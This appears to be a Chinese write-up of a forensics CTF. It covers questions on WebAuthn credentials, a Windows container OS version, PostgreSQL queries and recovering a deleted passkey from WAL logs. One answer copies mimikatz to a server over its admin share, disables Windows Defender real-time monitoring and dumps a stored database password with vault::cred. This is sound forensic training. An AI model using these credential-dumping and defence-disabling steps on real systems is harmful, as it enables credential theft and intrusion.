14.现在需要从现场扣押的硬件密钥中寻找网站管理员登录后台使用的硬件密钥,网站管理员登录后台使用的硬件密钥中存储的凭据ID是什么。【格式:8914d73ee5522094906733031a76bb04e915e9e577ad92e0abe78428bd9dad9c8ac78412819373191547b199fbc0914d】

答案:

解题思路:在admin webauthn credentials数据库可以找到

image-20260719081236894

转换下编码。

image-20260719081225078

15.运行网站数据库的容器中,容器内部操作系统版本是【格式:25H2】

答案:

解题思路:查看容器,

image-20260719081431660

进入容器,

1
2
3
nerdctl run --rm -it --entrypoint pwsh docker.io/innovesys/postgresql-windows:18-nanoserver-ltsc2025

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" DisplayVersion

10.0.26100对应24H2

image-20260719081842090

16.推广管理网站使用的PostgreSQL数据库版本是多少。【格式:16.1】

答案:18.0

解题思路:

image-20260719081612702

17.推广管理网站连接PostgreSQL数据库使用的密码是什么。【格式:Abc123$%^】

答案:yiZvGzBS9FYxrw42J17LNUK5tlDo

解题思路:

这里需要用mimikatz,

1
2
3
4
cmdkey /add:172.27.0.100 /user:Administrator /pass:F1cWinC@re

Copy-Item 'mimikatz.exe' '\\172.27.0.100\c$\Users\Administrator\mimikatz.exe' -Force
把本机的mimikatz传入服务器。

先把防火墙关闭,

1
2
Set-MpPreference -DisableRealtimeMonitoring $true
./mimikatz.exe
1
token::elevatevault::cred

得到密码

1
2
3
4
5
6
7
8
TargetName  : FICWEB/PostgreSQL/FicWeb / <NULL>
UserName : postgres
Comment : <NULL>
Type : 1 - generic
Persist : 2 - local_machine
Flags : 00000000
Credential : yiZvGzBS9FYxrw42J17LNUK5tlDo
Attributes : 0

18.根据推广网站的推荐算法,在北京时间2026年5月1日 12:34:56时,上海的IP地址通过huajian026.chat-now.vip访问https://ficads.site/p/026的广告页面时,最有可能推荐的应用包名是什么。【aaa.bbb.ccc】

答案:com.fic.seed.chatlive095

解题思路:

1
select * from fic.resolve_promotion_payload_at('huajian026.chat-now.vip','/p/026','上海',timestamptz '2026-05-01 12:34:56+08');

image-20260719111952638

19.fic.traffic_counters记录了推广源、APK 和日期维度的访问计数。请找出全量visit流量中,累计访问量最高的host + package_name组合对应 APK 的apk_sha256字段值为:【格式:27AE41E4649B934CA495991B7852B855】

答案:65EA7D9DDB135EF977CA28F7E046D705

解题思路:

traffic_counters表本身并没有host和apk_sha256字段,这里要聚合,

apk_targets中有apk_sha256,

image-20260719112303004

promotion_sources中有host字段,

image-20260719112340467

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
WITH ranked AS (
SELECT
s.host,
a.package_name,
a.display_name,
a.apk_sha256,
SUM(t.count) AS total_count,
DENSE_RANK() OVER (ORDER BY SUM(t.count) DESC) AS traffic_rank
FROM fic.traffic_counters t
INNER JOIN fic.promotion_sources s
ON s.id = t.source_id
INNER JOIN fic.apk_targets a
ON a.id = t.apk_id
WHERE t.kind = 'visit'
GROUP BY
s.host,
a.package_name,
a.display_name,
a.apk_sha256
)
SELECT *
FROM ranked
WHERE traffic_rank <= 5
ORDER BY
traffic_rank,
host,
package_name;

image-20260719112455633

20.数据库中删除过一条创建时间为北京时间2026-05-13 10:30:00的admin用户的passkey信息,请恢复这条记录,credential_id字段的内容是什么?【格式:ASNFZ4mrze_-3LqYdlQyEA】

答案:PV0o_BzQptB90kmn8I_9VZxw_LKnIJ8IyqSAWOvAtlc

解题思路:上官方wp,

本题考查 PG 数据恢复。通过 pg_waldump 解析 WAL 日志,定位 DELETE 记录,还原数据。

先用 pg_waldump 查看 WAL 中的 DELETE 记录:

image-20260719112738444

关键业务记录如下:

image-20260719112743833

将 WAL 中的 relation ID 映射回表名:

image-20260719112748740

结果:

image-20260719112754000

导出该 relation 的 full-page image:

image-20260719112759903

第一条被删 admin passkey 位于这个 full-page image:

image-20260719112812806

在分析副本中启用 pageinspect,按表结构拆解 lp=1 的 tuple:

image-20260719112820492

再把恢复出的 admin_user_id 关联回 fic.admin_users,得到结果为 admin。

image-20260719112826559